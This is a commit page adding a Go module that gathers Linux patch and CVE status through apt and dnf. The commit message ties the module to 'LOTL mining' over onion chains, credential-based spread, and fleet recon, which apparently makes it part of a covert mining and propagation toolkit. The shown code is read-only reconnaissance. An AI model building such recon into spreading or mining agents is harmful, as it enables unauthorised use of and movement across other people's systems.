Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
88
agent/vulnprobe/probe_linux.go
Normal file
88
agent/vulnprobe/probe_linux.go
Normal file
@@ -0,0 +1,88 @@
|
||||
//go:build linux
|
||||
|
||||
package vulnprobe
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ProbeHost gathers Linux LOTL recon via apt/dnf security listings (read-only).
|
||||
func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
|
||||
ctx := HostContext{
|
||||
Platform: runtime.GOOS,
|
||||
OSVersion: osVersion,
|
||||
LastPatchDays: -1,
|
||||
ListeningPorts: listeningPorts,
|
||||
PackageVersions: map[string]string{},
|
||||
}
|
||||
ctx.SSHListening = listeningPorts[22] || listeningPorts[2222]
|
||||
ctx.PackageVersions = linuxSecurityPackages()
|
||||
return ctx
|
||||
}
|
||||
|
||||
func linuxSecurityPackages() map[string]string {
|
||||
out := map[string]string{}
|
||||
if _, err := exec.LookPath("apt-get"); err == nil {
|
||||
raw, err := exec.Command("apt-get", "-s", "upgrade").CombinedOutput()
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(raw), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "Inst ") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) >= 2 {
|
||||
out[fields[1]] = "pending-upgrade"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if list, err := exec.Command("apt", "list", "--upgradable").CombinedOutput(); err == nil {
|
||||
for _, line := range strings.Split(string(list), "\n") {
|
||||
if !strings.Contains(line, "/") || strings.HasPrefix(line, "Listing") {
|
||||
continue
|
||||
}
|
||||
parts := strings.SplitN(line, "/", 2)
|
||||
if len(parts) == 2 {
|
||||
ver := strings.TrimSpace(strings.Split(parts[1], " ")[0])
|
||||
out[parts[0]] = ver
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if _, err := exec.LookPath("dnf"); err == nil {
|
||||
raw, err := exec.Command("dnf", "updateinfo", "list", "security").CombinedOutput()
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(raw), "\n") {
|
||||
if !strings.Contains(line, "CVE-") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
for _, f := range fields {
|
||||
if strings.HasPrefix(f, "CVE-") {
|
||||
out[f] = "security-advisory"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func linuxPackageFindings(ctx HostContext) []VulnFinding {
|
||||
var out []VulnFinding
|
||||
for cve, note := range ctx.PackageVersions {
|
||||
if !strings.HasPrefix(cve, "CVE-") {
|
||||
continue
|
||||
}
|
||||
out = append(out, VulnFinding{
|
||||
CVEID: cve,
|
||||
Severity: "high",
|
||||
Component: "linux package",
|
||||
Patched: false,
|
||||
ExploitableInFleetContext: ctx.SSHListening,
|
||||
Detail: "dnf/apt security listing: " + note,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
Reference in New Issue
Block a user